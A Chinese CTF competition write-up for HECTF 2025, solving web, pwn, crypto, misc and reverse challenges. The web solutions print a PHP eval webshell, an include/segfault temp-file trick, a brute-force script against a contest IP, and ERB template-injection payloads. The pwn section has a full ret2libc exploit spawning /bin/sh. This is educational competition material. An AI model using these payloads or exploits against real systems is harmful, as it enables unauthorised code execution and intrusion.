        if ($filename !== '.' && $filename !== '..' && strpos($filename, 'php') === 0) {
            $phpFiles[] = $filename;
        }
    }

    if (empty($phpFiles)) {
        die();
    }

    foreach ($phpFiles as $name) {
        $lastFour = strlen($name) >= 4 ? substr($name, -4) : $name;
        echo $lastFour;
    }
    exit;
}

if (empty($file)) {
    die("请传入有效的file参数");
}


function isAllowedFile($file) {
    $filterPrefix = 'php://filter/string.strip_tags/resource=';
    if (strpos($file, $filterPrefix) === 0) {
        $resourcePath = substr($file, strlen($filterPrefix));
        $resourceRealPath = realpath($resourcePath);

        if ($resourceRealPath === false) {
            return false;
        }

        $tmpBaseDir = realpath('/tmp') . '/';
        $allowedIndexPhp = realpath('index.php');

        if (strpos($resourceRealPath, $tmpBaseDir) === 0 || $resourceRealPath === $allowedIndexPhp) {
            return true;
        } else {
            return false;
        }
    }

    $realPath = realpath($file);
    if ($realPath === false) {
        return false;
    }

    $tmpBaseDir = realpath('/tmp') . '/';
    if (strpos($realPath, $tmpBaseDir) === 0) {
        return true;
    }

    $allowedIndexPhp = realpath('index.php');
    if ($realPath === $allowedIndexPhp) {
        return true;
    }

    return false;
}


if (!isAllowedFile($file)) {
    die("file参数不合法");
}

$includeResult = @include($file);

if ($includeResult === false) {
    die("<br>无法包含文件");
}
?>
请传入有效的file参数

​ 存在$filterPrefix = 'php://filter/string.strip_tags/resource=';,依稀记得BUUOJ-[NPUCTF2020]ezinclude 1这个题里有一个这个伪协议,有个特性:

在上传文件时,如果出现 Segment Fault ,那么上传的临时文件不会被删除。这里的上传文件需要说明一下,一般认为,上传文件需要对应的功能点,但实际上,无论是否有文件上传的功能点,只要 HTTP 请求中存在文件,那么就会被保存为临时文件,当前 HTTP 请求处理完成后,垃圾回收机制会自动删除临时文件。

使 php 陷入死循环直,产生 Segment Fault 的方法:(具体原理未找到,如果有大佬清楚,请告知,感谢。)

  • 使用

    php://filter/string.strip_tags/resource=文件

  • 使用

    php://filter/convert.quoted-printable-encode/resource=文件

  • 函数要求

  • file

  • file_get_contents

  • readfile

​ 所以直接 PHP LFI 包含临时文件+string.strip_tags过滤器导致出现php segment fault

python 复制代码
import requests
from io import BytesIO #BytesIO实现了在内存中读写bytes
payload = "<?php eval($_POST[cmd]);?>"
data={'file': BytesIO(payload.encode())}
url="http://8.153.93.57:30372/?file=php://filter/string.strip_tags/resource=index.php"
r=requests.post(url=url,files=data,allow_redirects=False)

​ 之后用?file=tmp,这里功能是扫描临时文件目录,输出DAyj

php 复制代码
    foreach ($phpFiles as $name) {
        $lastFour = strlen($name) >= 4 ? substr($name, -4) : $name;
        echo $lastFour;
    }

​ 根据这里,可以知道,当输出长度高于4的时候输出后四位,那么,这里应该是两位是未知的php??DAyj,那么就得爆破

​ 最后爆破出来:

python 复制代码
import requests
import string
import time

# 目标URL的基础部分(??为待爆破位置)
base_url = "http://8.153.93.57:30372/?file=/tmp/php{}{}DAyj"

# 爆破字符集:数字 + 大写字母 + 小写字母
chars = string.digits + string.ascii_uppercase + string.ascii_lowercase

# 请求头(根据提供的数据包构造,修正换行语法问题)
headers = {
    "Host": "ip",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate",
    "Connection": "close",
    "Cookie": "BEEFHOOK=v9l9riSiUl5aAaBp1TD92APnVIe94w8whQSHqUW1p9KX43aUihRWqBASlt608WnLT6N4BfmKPSczQ0IN",
    "Upgrade-Insecure-Requests": "1",
    "Priority": "u=0, i",
    "Content-Type": "application/x-www-form-urlencoded"
}

# POST数据
data = "cmd=phpinfo();"

# 成功标识(phpinfo()的特征内容,可根据实际情况调整)
success_flag = "PHP Version"

# 遍历所有可能的两位组合

for c1 in chars:
    for c2 in chars:
        # 构造完整URL
        target_url = base_url.format(c1, c2)
        print(f"尝试: {target_url}")

        try:
            # 发送POST请求(超时时间10秒)
            response = requests.post(
                url=target_url,
                headers=headers,
                data=data,
                timeout=10,
                verify=False  # 忽略SSL证书验证(如果需要)
            )

            # 检查响应中是否包含成功标识
            if success_flag in response.text:
                print(f"\n[!] 爆破成功!正确组合: {c1}{c2}")
                print(f"[!] 响应内容片段: {response.text[:500]}")  # 输出部分响应
                exit()  # 找到后退出

            # 避免请求过于频繁,间隔0.5秒(可根据目标调整)
            time.sleep(0.1)

        except requests.exceptions.RequestException as e:
            print(f"请求错误: {e}")
            continue

print("\n[!] 所有组合尝试完毕,未找到匹配结果")
tex 复制代码
[!] 爆破成功!正确组合: jL
[!] 响应内容片段: <code><span style="color: #000000">
<br /></span><span style="color: #0000BB">$file&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'file'</span><span style="color: #007700">]&nbsp;??&nbsp;</span><span style=

​ 成功RCE,之后就是RCE读取文件了:

红宝石的恶作剧(复现,先记录下来,细看)

ez_ssti

WP没看懂,先记录下来,之后研究下

​ 输入1+1返回2,但是输入{``{1*1}}就报错了,wp里说这个是Ruby环境,存在ERB 模板注入漏洞,所以用File.read('/flag'),返回fakeflag读取flag,但是返回了个假的flag:Hello, HECTF{TH1S_lS_a_FAKE_flag}!,过滤的东西通过动态常量绕过,Object.const_get("File").read("/flag")

数据管理系统(复现)

开发小哥为了下班粗心buff叠满,够领导拿着板子追着揍半条街。

提示11.file参数存在日志泄露

提示22.图片包含

​ Hint1里说的是file参数存在日志泄露,结合主页的这里,推测可以通过这个读取到日志文件,可以先去读一下日志文件:

​ 中间件是Nginx,然后随便登录下发现登录方式是GET并且没加密:/?username=admin&password=asd,可以读取下Nginx的日志文件,来获取账号密码,先用GET方式读下:?file=/var/log/nginx/access.log,并搜搜下=admin:

​ 账号密码有了,但是可能有干扰,得一个个试试,最后试出来这个对了admin/bdsfasuaosdah42134223829@#!

​ 在个人资料那里找到了文件上传的点,做一个图片马,整一个比较小的png图片,然后用winhex修改里面的一些内容的十六进制为木马的文本对应的十六进制,能绕过getimagesize校验:

​ 在解压调试界面,分析前端html,有个这个:

​ 解压调试下面有个地方写了个png文件,那个就是我们传上去的木马文件,不过为啥最后一步的目录是这样的不知道,后面环境关了没来得及写,晚上宿舍断电,复现一半电脑没电关机了,第二天起来环境没了,所以贴一个wp里的截图:

​ 最后尝试包含文件,getshell

Pwn:

nc一下~

小明从系统后台中发现了一段有问题的日志,你能从中找到奇怪点并且消除吗?

​ nc一下得到日志:

log 复制代码
192.168.220.1 - - [02/Jul/2024:18:53:29 +0800] "GET /01 HTTP/1.1" 301 578 "http://192.168.220.132/"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:53:29 +0800] "GET /01/ HTTP/1.1" 302 336 "http://192.168.220.132/"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:53:29 +0800] "GET /01/login.php HTTP/1.1" 200 1049 "http://192.168.220.132/"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:53:31 +0800] "POST /01/login.php HTTP/1.1" 302 337 "http://192.168.220.132/01/login.php"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:53:31 +0800] "GET /01/login.php HTTP/1.1" 200 1058 "http://192.168.220.132/01/login.php"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:53:33 +0800] "POST /01/login.php HTTP/1.1" 302 337 "http://192.168.220.132/01/login.php"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:53:33 +0800] "GET /01/login.php HTTP/1.1" 200 1062 "http://192.168.220.132/01/login.php"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:53:35 +0800] "POST /01/login.php HTTP/1.1" 302 337 "http://192.168.220.132/01/login.php"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:53:35 +0800] "GET /01/login.php HTTP/1.1" 200 1065 "http://192.168.220.132/01/login.php"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:53:36 +0800] "POST /01/login.php HTTP/1.1" 302 337 "http://192.168.220.132/01/login.php"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:53:36 +0800] "GET /01/login.php HTTP/1.1" 200 1068 "http://192.168.220.132/01/login.php"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:53:38 +0800] "POST /01/login.php HTTP/1.1" 302 337 "http://192.168.220.132/01/login.php"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:53:38 +0800] "GET /01/login.php HTTP/1.1" 200 1070 "http://192.168.220.132/01/login.php"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:53:47 +0800] "POST /01/login.php HTTP/1.1" 302 337 "http://192.168.220.132/01/login.php"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:53:47 +0800] "GET /01/index.php HTTP/1.1" 200 3033 "http://192.168.220.132/01/login.php"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:53:57 +0800] "GET /01/data/upload/ HTTP/1.1" 200 1747 "http://192.168.220.132/01/index.php"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:54:14 +0800] "POST /01/data/upload/ HTTP/1.1" 200 1805 "http://192.168.220.132/01/data/upload/"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:54:18 +0800] "GET /01/data/upload/upd0te.php HTTP/1.1" 200 512 "http://192.168.220.132/01/data/upload/"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:54:23 +0800] "GET /01/phpinfo.php HTTP/1.1" 200 25051 "http://192.168.220.132/01/data/upload/"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:54:30 +0800] "GET /01/logout.php HTTP/1.1" 302 337 "http://192.168.220.132/01/data/upload/"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:54:30 +0800] "GET /01/login.php HTTP/1.1" 200 1072 "http://192.168.220.132/01/data/upload/"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"

请找到黑客的操作[ 提交答案:病毒上传的时间+病毒名称 ]:

​ 经过分析,发现文件上传漏洞,且相关日志是:

log 复制代码
192.168.220.1 - - [02/Jul/2024:18:53:57 +0800] "GET /01/data/upload/ HTTP/1.1" 200 1747 "http://192.168.220.132/01/index.php"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:54:14 +0800] "POST /01/data/upload/ HTTP/1.1" 200 1805 "http://192.168.220.132/01/data/upload/"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"
192.168.220.1 - - [02/Jul/2024:18:54:18 +0800] "GET /01/data/upload/upd0te.php HTTP/1.1" 200 512 "http://192.168.220.132/01/data/upload/"" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0"

​ 第二条很显然,POST传输文件,第三条直接出现了访问木马的情况,那么第三条就是木马(后面全是logout和login操作,所以估计就是这两条)那么输入02/Jul/2024:18:54:14+upd0te.php通过第一关,第二关是个游戏,没搞懂什么sum逻辑,但还是不小心过了:

log 复制代码
输入正确!恭喜来到病毒的世界,通过数字对战游戏战胜病毒即可消除它...

================ 数字对战游戏 ===============
1. a、b、c的取值范围是0-9,且选择不能重复
2. 通过某种计算,每局最终的sum值大的一方获胜
3. 先得3分者胜
=============================================

===== 第1局 =====
请输入参数 a :2
请输入参数 b :0
请输入参数 c :9

------ 第1局结果 ------
您的选择:a=2, b=0, c=9
病毒选择:a=0, b=2, c=1
结果:您获胜!
当前比分:您 1 - 0 病毒


===== 第2局 =====
请输入参数 a :3
请输入参数 b :1
请输入参数 c :4

------ 第2局结果 ------
您的选择:a=3, b=1, c=4
病毒选择:a=0, b=1, c=4
结果:病毒获胜!
当前比分:您 1 - 1 病毒


===== 第3局 =====
请输入参数 a :2
请输入参数 b :0
请输入参数 c :3

------ 第3局结果 ------
您的选择:a=2, b=0, c=3
病毒选择:a=1, b=0, c=4
结果:病毒获胜!
当前比分:您 1 - 2 病毒


===== 第4局 =====
请输入参数 a :1
请输入参数 b :0
请输入参数 c :4

------ 第4局结果 ------
您的选择:a=1, b=0, c=4
病毒选择:a=0, b=2, c=1
结果:您获胜!
当前比分:您 2 - 2 病毒


===== 第5局 =====
请输入参数 a :1
请输入参数 b :0
请输入参数 c :4

------ 第5局结果 ------
您的选择:a=1, b=0, c=4
病毒选择:a=0, b=3, c=1
结果:您获胜!
当前比分:您 3 - 2 病毒

===== 比赛结束!=====

===== 所有对局详细记录 ====

----- 第1局 -----
您的选择:      a=2, b=0, c=9  |  sum值:63.09175
病毒选择:      a=0, b=2, c=1  |  sum值:53.78512
结果:您获胜

----- 第2局 -----
您的选择:      a=3, b=1, c=4  |  sum值:58.40205
病毒选择:      a=0, b=1, c=4  |  sum值:62.10399
结果:病毒获胜

----- 第3局 -----
您的选择:      a=2, b=0, c=3  |  sum值:65.67390
病毒选择:      a=1, b=0, c=4  |  sum值:67.33289
结果:病毒获胜

----- 第4局 -----
您的选择:      a=1, b=0, c=4  |  sum值:67.33289
病毒选择:      a=0, b=2, c=1  |  sum值:53.78512
结果:您获胜

----- 第5局 -----
您的选择:      a=1, b=0, c=4  |  sum值:67.33289
病毒选择:      a=0, b=3, c=1  |  sum值:41.55686
结果:您获胜

===== 最终结果 =====
恭喜您获胜!
病毒悄悄溜走了,并留下了:HECTF{6NhZkUrkgIZdve6dnzXiAEFVpDuVffUv}

shop

c 复制代码
__int64 record_purchase()
{
  char v1[32]; // [rsp+0h] [rbp-50h] BYREF
  char s[32]; // [rsp+20h] [rbp-30h] BYREF
  __int64 v3; // [rsp+40h] [rbp-10h] BYREF

  puts("Enter product name:");
  fgets(s, 32, stdin);
  s[strcspn(s, "\n")] = 0;
  puts("Enter product price:");
  __isoc99_scanf("%d", &v3);
  getchar();
  puts("Enter purchase description:");
  return gets(v1);
}

​ 这里存在栈溢出漏洞,checksec一下看看没有保护,nx都没开,不需要尝试泄露elf_base,逆向到密码:shopadmin123,这个函数里存在整数溢出漏洞:

c 复制代码
int manage_inventory()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h] BYREF

  puts("Enter total purchase amount:");
  __isoc99_scanf("%d", &v1);
  getchar();
  if ( (unsigned int)check_amount(v1) )
    return puts("Amount exceeds limit! Access denied.");
  puts("Amount verified. Proceeding to record...");
  return record_purchase();
}


_BOOL8 __fastcall check_amount(int a1)
{
  return a1 >= 0;
}

​ 最后exp:

python 复制代码
from pwn import *
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(arch='amd64', os='linux', log_level='debug')
io = remote("47.100.66.83",30527)

io.recvuntil(b"Enter choice:")
io.sendline(b"2")
io.recvuntil(b"Enter admin password:\n")
io.sendline(b"shopadmin123")
io.recvuntil(b"Enter total purchase amount:\n")
io.sendline(b"-1")
io.recvuntil(b"Enter product name:\n")
io.sendline(b"aaaaa")
io.recvuntil(b"Enter product price:\n")
io.sendline(b"1")
io.recvuntil(b"Enter purchase description:\n")

pop_edi_ret = 0x0000000000401240
ret = 0x000000000040101a
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
record_purchase = elf.symbols["main"]


payload = b"a"*0x58 + p64(ret) + p64(pop_edi_ret) + p64(puts_got) + p64(puts_plt)+ p64(ret) + p64(record_purchase)
io.sendline(payload)
puts_real = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b'\x00'))
print(hex(puts_real))
libc_base = puts_real - libc.sym["puts"]
print(hex(libc_base))
syst_addr = libc_base + libc.sym["system"]
binsh = libc_base + next(libc.search(b"/bin/sh"))

io.recvuntil(b"Enter choice:")
io.sendline(b"2")
io.recvuntil(b"Enter admin password:\n")
io.sendline(b"shopadmin123")
io.recvuntil(b"Enter total purchase amount:\n")
io.sendline(b"-1")
io.recvuntil(b"Enter product name:\n")
io.sendline(b"aaaaa")
io.recvuntil(b"Enter product price:\n")
io.sendline(b"1")
io.recvuntil(b"Enter purchase description:\n")


payload = b"a"*0x58 + p64(ret) + p64(pop_edi_ret) + p64(binsh) + p64(syst_addr)+ p64(ret) + p64(record_purchase)
io.sendline(payload)

io.interactive()

Crypto

下个棋吧

先别做题了,flag给你,过来陪我下把棋,对了,别忘了flag要大写,RERBVkFGR0RBWHtWR1ZHWEFYRFZHWEFYRFZWVkZWR1ZYVkdYQX0=

​ base64解密得到DDAVAFGDAX{VGVGXAXDVGXAXDVVVFVGVXVGXA},根据下棋内容搜索到是棋盘密码,得到flaghectf{1145145201314},棋盘类型是ADFGVX。最后flag为:HECTF{1145145201314}

simple_math

一道普通的数学题,我会做数学题,你会做数学题吗?

python 复制代码
from Crypto.Util.number import *
from secret import flag

def getmodule(bits):
    while True:
        f = getPrime(bits)
        g = getPrime(bits)
        p = (f<<bits)+g
        q = (g<<bits)+f
        if isPrime(p) and isPrime(q):
            assert  p%4 == 3 and q%4 == 3
            n = p * q
            break
    return n

e = 8
n = getmodule(128)

m = bytes_to_long(flag)
c = pow(m,e,n)

print('c =',c)
print('n =',n)

"""
c = 5573794528528829992069712881335829633592490157207670497446565713699227752853445149101948822818379411492395823975723302499892036773925698697672557700027422
n = 6060692198787960152570793202726365711311067556697852613814176910700809041055277955552588176731629472381832554602777717596533323522044796564358407030079609
"""

​ 有n,有c,试着分解n:

python 复制代码
from Crypto.Util.number import *
import gmpy2
n = 6060692198787960152570793202726365711311067556697852613814176910700809041055277955552588176731629472381832554602777717596533323522044796564358407030079609
K = 2**128
L = n % K
M_low = (n >> 128) % K
M_high = (n >> 256) % K
H = n >> 384

found = False
for carry in [0, 1]:
    A_hi = H - carry
    if A_hi < 0 or A_hi >= K:
        continue
    A = (A_hi << 128) + L
    Y = (carry << 256) + (M_high << 128) + M_low
    B = Y - (L << 128) - A_hi
    if B <= 0:
        continue
    u_sq = B + 2 * A
    d_sq = B - 2 * A
    u, u_rem = gmpy2.iroot(u_sq, 2)
    d, d_rem = gmpy2.iroot(d_sq, 2)
    if not (u_rem and d_rem):
        continue
    u = int(u)
    d = int(d)
    f = (u + d) // 2
    g = (u - d) // 2
    if isPrime(f) and isPrime(g) and f.bit_length() == 128 and g.bit_length() == 128:
        p = (f << 128) + g
        q = (g << 128) + f
        if p * q == n:
            found = True
            break

print("p:",p)
print("q:",q)

#p: 94775913392603172629814422762806227966393098973930911178857725348364686169243
#q: 63947599994968442166142762354632092599995017543858024932091322657529881751163

​ 有p,q,n,c,e,但是e和phi不互素,rabin进行三次二次开方,可以解:

python 复制代码
import gmpy2
import libnum
from Cryptodome.Util.number import *

# 已知参数
p = 94775913392603172629814422762806227966393098973930911178857725348364686169243
q = 63947599994968442166142762354632092599995017543858024932091322657529881751163
n = p * q
c = 5573794528528829992069712881335829633592490157207670497446565713699227752853445149101948822818379411492395823975723302499892036773925698697672557700027422
e = 8

def rabin_sqrt(x, p, q, n):
    """
    单个值的Rabin二次开方(核心函数):求解 y² ≡ x mod n
    返回模n下的4个二次剩余解(Rabin解密的标准4个解)
    """
    if x == 0:
        return [0]
    
    # 1. 分别在模p、模q下求解二次剩余(利用4k+3素数特性)
    yp1 = pow(x, (p + 1) // 4, p)
    yp2 = p - yp1  # 模p的两个解
    yq1 = pow(x, (q + 1) // 4, q)
    yq2 = q - yq1  # 模q的两个解
    
    # 2. 预计算模逆(避免重复计算)
    inv_p = gmpy2.invert(p, q)
    inv_q = gmpy2.invert(q, p)
    
    # 3. 用中国剩余定理(CRT)合并4种解的组合,得到模n的4个解
    # 组合1:yp1 & yq1
    y1 = (inv_q * q * yp1 + inv_p * p * yq1) % n
    # 组合2:yp1 & yq2
    y2 = (inv_q * q * yp1 + inv_p * p * yq2) % n
    # 组合3:yp2 & yq1
    y3 = (inv_q * q * yp2 + inv_p * p * yq1) % n
    # 组合4:yp2 & yq2
    y4 = (inv_q * q * yp2 + inv_p * p * yq2) % n
    
    return [int(y1), int(y2), int(y3), int(y4)]

def solve_e8_with_rabin(c, p, q, n):
    """
    利用Rabin核心思想求解e=8的情况:m⁸ ≡ c mod n
    步骤:连续3次二次开方(8=2³),逐步迭代候选解
    """
    # 第1次开方:求解 x1² ≡ c mod n → x1 = m^4(初始候选解)
    candidates_1 = rabin_sqrt(c, p, q, n)
    print(f"第1次开方(得到m^4的候选解):共{len(candidates_1)}个")
    
    # 第2次开方:对每个x1,求解 x2² ≡ x1 mod n → x2 = m^2
    candidates_2 = set()  # 用集合去重
    for x1 in candidates_1:
        res = rabin_sqrt(x1, p, q, n)
        candidates_2.update(res)
    candidates_2 = list(candidates_2)
    print(f"第2次开方(得到m^2的候选解):共{len(candidates_2)}个")
    
    # 第3次开方:对每个x2,求解 x3² ≡ x2 mod n → x3 = m(最终明文候选)
    candidates_3 = set()
    for x2 in candidates_2:
        res = rabin_sqrt(x2, p, q, n)
        candidates_3.update(res)
    candidates_3 = list(candidates_3)
    print(f"第3次开方(得到m的候选解):共{len(candidates_3)}个")
    
    # 验证候选解:确保m^8 ≡ c mod n(过滤无效解)
    valid_m = []
    for m in candidates_3:
        if pow(m, e, n) == c:
            valid_m.append(m)
    
    return valid_m

def filter_flag(valid_m):
    """筛选有效flag(可打印字符、含flag格式)"""
    print("\n========== 开始筛选有效flag ==========")
    for idx, m in enumerate(valid_m):
        # 两种字节转换方式(兼容不同库)
        bytes1 = long_to_bytes(int(m))
        bytes2 = libnum.n2s(int(m))
        # 尝试解码为可打印字符串
        try:
            text1 = bytes1.decode('utf-8', errors='ignore')
            text2 = bytes2.decode('utf-8', errors='ignore')
        except:
            text1 = "无法解码"
            text2 = "无法解码"
        # 打印候选结果
        print(f"\n候选解{idx+1}:")
        print(f"明文m:{m}")
        print(f"long_to_bytes结果:{bytes1} | 解码后:{text1}")
        print(f"libnum.n2s结果:{bytes2} | 解码后:{text2}")
        # 筛选含flag标识的有效结果
        if "flag" in text1 or "FLAG" in text1 or "flag" in text2 or "FLAG" in text2:
            print(f"★ 找到有效flag:{text1 if 'flag' in text1 else text2}")
            return m, text1 if 'flag' in text1 else text2
    print("\n未自动筛选到flag,请手动查看候选解中的可打印字符串")
    return None, None

if __name__ == "__main__":
    # 1. 连续3次Rabin开方,求解所有有效明文候选
    valid_m_list = solve_e8_with_rabin(c, p, q, n)
    print(f"\n验证后有效明文候选数:{len(valid_m_list)}")
    
    # 2. 筛选并输出flag
    final_m, final_flag = filter_flag(valid_m_list)
    
    # 3. 最终结果汇总
    if final_flag:
        print("\n========== 解密完成 ==========")
        print(f"最终明文m:{final_m}")
        print(f"最终flag:{final_flag}")
    else:
        print("\n========== 解密结束:未找到明确flag,请手动核对候选解 ==========")
        
        
#最终flag:HECTF{this_is_a_flag_emm_is_a_true_flag_ok_all_right}

MISC

签到

关注凌武科技微信公众号,关注公众号后发送"2025HECTF,启动!!!",获得小惊喜!!!

​ 做法就是题目描述字面意思。

Check_In

🎵 🍑🎲⚽🍉 🚃

python 复制代码
ctf i love u -> 🎹🏀🌺 🎵 🍑🎲⚽🍉 🚃
$flag -> 🌹🍉🎹🏀🌺{🚇🍉🍑🎹🎲⚾🍉_🏀🎲_🌹🍉🎹🏀🌺_🌹🎲🏉🍉_💎🎲🚃_🎹🏓🌾_🍉🌾🍇🎲💎_🎵🏀}

​ 这几个是一一对应的,hectf就是🌹🍉🎹🏀🌺,可以得到一一对应的关系,之后得到:

python 复制代码
hectf{🚇elco⚾e_to_hectf_ho🏉e_💎ou_c🏓🌾_e🌾🍇o💎_it}

​ 看起来这个flag是可读的,找ai看着来来回回脑洞推测可能是welcome to hectf hope you can enjoy it,最后的flag:

tex 复制代码
HECTF{welcome_to_hectf_hope_you_can_enjoy_it}

Reverse

easyree

​ 反编译之后,三个函数,先看第一个:

c++ 复制代码
__int64 __fastcall sub_1389(__int64 a1, __int64 a2, __int64 a3)
{
  int i; // [rsp+14h] [rbp-1Ch]

  std::string::basic_string();
  std::string::reserve(a1, 64LL);
  for ( i = 0; i <= 63; ++i )
    std::string::operator+=(a1, (unsigned int)(char)(byte_2040[i] ^ 0x55));
  return a1;
}

​ 一个异或,提取数据:

c++ 复制代码
    unsigned char ida_chars[] =
        {
           15,  12,  13,   2,   3,   0,   1,   6,   7,   4,
            5,  26,  27,  24,  25,  30,  31,  28,  29,  18,
           19,  16,  17,  22,  23,  20,  47,  44,  45,  34,
           35,  32,  33,  38,  39,  36,  37,  58,  59,  56,
           57,  62,  63,  60,  61,  50,  51,  48,  49,  54,
           55,  52, 108, 109,  98,  99,  96,  97, 102, 103,
          100, 101, 126, 122
        };

​ 第二个函数,也是异或:

c++ 复制代码
__int64 __fastcall sub_143F(__int64 a1)
{
  int i; // [rsp+10h] [rbp-20h]

  std::string::basic_string();
  std::string::reserve();
  for ( i = 0; i < 48; ++i )
    std::string::operator+=(a1, (unsigned int)(char)(byte_2080[i] ^ 0x33));
  return a1;
}

​ 提取数据:

c++ 复制代码
    unsigned char ida_chars2[] =
            {
                    123, 101, 118, 100, 118, 101, 114,   1,  68,   4,
                    118,  91, 113,  82, 106,  84, 125,  11,   3,  10,
                    125, 102,   3,  81, 114, 112, 113,  82,  75,  66,
                    126,  92, 112,   5,  75,  87,  75,  66, 102,  67,
                    112,   5,  71,  80,  69, 100, 102,   3
            };

​ 解密脚本:

c++ 复制代码
#include <iostream>

int main() {
    unsigned char ida_chars[] =
        {
           15,  12,  13,   2,   3,   0,   1,   6,   7,   4,
            5,  26,  27,  24,  25,  30,  31,  28,  29,  18,
           19,  16,  17,  22,  23,  20,  47,  44,  45,  34,
           35,  32,  33,  38,  39,  36,  37,  58,  59,  56,
           57,  62,  63,  60,  61,  50,  51,  48,  49,  54,
           55,  52, 108, 109,  98,  99,  96,  97, 102, 103,
          100, 101, 126, 122
        };
    unsigned char temp[64] ={0};

    printf("base64表异或后:");
    for (int i = 0; i <= 63; i++){
        temp[i] = ida_chars[i] ^ 0x55;
        printf("%c",temp[i]);
    }
    printf("\n");
    unsigned char ida_chars2[] =
            {
                    123, 101, 118, 100, 118, 101, 114,   1,  68,   4,
                    118,  91, 113,  82, 106,  84, 125,  11,   3,  10,
                    125, 102,   3,  81, 114, 112, 113,  82,  75,  66,
                    126,  92, 112,   5,  75,  87,  75,  66, 102,  67,
                    112,   5,  71,  80,  69, 100, 102,   3
            };
    unsigned char temp2[64] ={0};
    printf("密文异或后:");
    for (int i = 0; i < 48; i++){
        temp2[i] = ida_chars2[i] ^ 0x33;
        printf("%c",temp2[i]);
    }
    printf("\n");

    return 0;
}

​ 输出结果:

tex 复制代码
base64表异或后:ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/
密文异或后:HVEWEVA2w7EhBaYgN809NU0bACBaxqMoC6xdxqUpC6tcvWU0

​ 根据输出结果看出来是base64变表,解码得到flag:

tex 复制代码
HECTF{welc0m3_t0_rev3r3e_w0r1d_x1x1}
相关推荐
上海云盾-高防顾问13 小时前
中小企业低成本渗透测试实操指南
网络协议·web安全·网络安全
慕云紫英14 小时前
基金申报的一点经验
学习·aigc
微露清风14 小时前
系统性学习C++-第十八讲-封装红黑树实现myset与mymap
java·c++·学习
宝贝儿好14 小时前
【强化学习】第六章:无模型控制:在轨MC控制、在轨时序差分学习(Sarsa)、离轨学习(Q-learning)
人工智能·python·深度学习·学习·机器学习·机器人
大、男人14 小时前
python之asynccontextmanager学习
开发语言·python·学习
做cv的小昊15 小时前
【TJU】信息检索与分析课程笔记和练习(8)(9)发现系统和全文获取、专利与知识产权基本知识
大数据·笔记·学习·全文检索·信息检索
盐焗西兰花15 小时前
鸿蒙学习实战之路-蓝牙设置完全指南
学习·华为·harmonyos
hkNaruto15 小时前
【AI】AI学习笔记:MCP协议与gRPC、OpenAPI的差异
